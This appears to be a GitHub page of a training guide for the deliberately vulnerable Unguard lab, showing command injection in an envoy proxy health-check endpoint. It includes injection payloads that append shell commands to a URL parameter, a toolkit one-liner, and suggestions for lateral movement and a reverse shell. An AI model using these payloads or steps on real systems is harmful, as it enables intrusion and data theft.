Skip to content

Latest commit

 

History

History
56 lines (35 loc) · 2.08 KB

File metadata and controls

56 lines (35 loc) · 2.08 KB

Command injection in Lua

Command injection (sometimes CMD injection) is an attack that involves executing arbitrary commands on some host OS. Typically, this happens because of insufficient user input validation.

The envoy proxy in Unguard has a /healthz?path=.. endpoint where the user-controlled path parameter is passed to the curl CLI program, also allowing arbitrary command execution on the envoy-proxy.

Preconditions and Requirements

For this exploit to work you need:

Exploitation

To exploit the command injection vulnerability in the envoy-proxy, you have to simply call the /healthz endpoint with a query parameter that adds a second command to the curl call.

w/o Toolkit CLI

Without the CLI, you can simply craft your own payload. Make sure to URL-encode your payloads before sending them, for example:

$ echo http://unguard.kube/healthz?path=$(urlencode "example.com; uname -a > /tmp/info")
http://unguard.kube/healthz?path=example.com%3B%20uname%20-a%20%3E%20%2Ftmp%2Finfo

If you take a look at the envoy-proxy you will find the newly created /tmp/info file there.

From here, feel free to move laterally, e.g., for example:

  • Try to modify the Envoy configuration in /etc/envoy/unguard to re-route the entire webserver
  • Access other internal nodes from this pod onwards (no network policies will apply)
  • Open a reverse shell back to your machine to extract data from this or other pods

With Toolkit CLI

Using the CLI, you can specify any command to be executed. There is no prior login necessary.

Just use ug-exploit cmd-inject-envoy "<your-command>" to execute arbitrary commands.

Examples

Writing current user into a file

$ ug-exploit cmd-inject-envoy "whoami > /tmp/pwned"

Further Details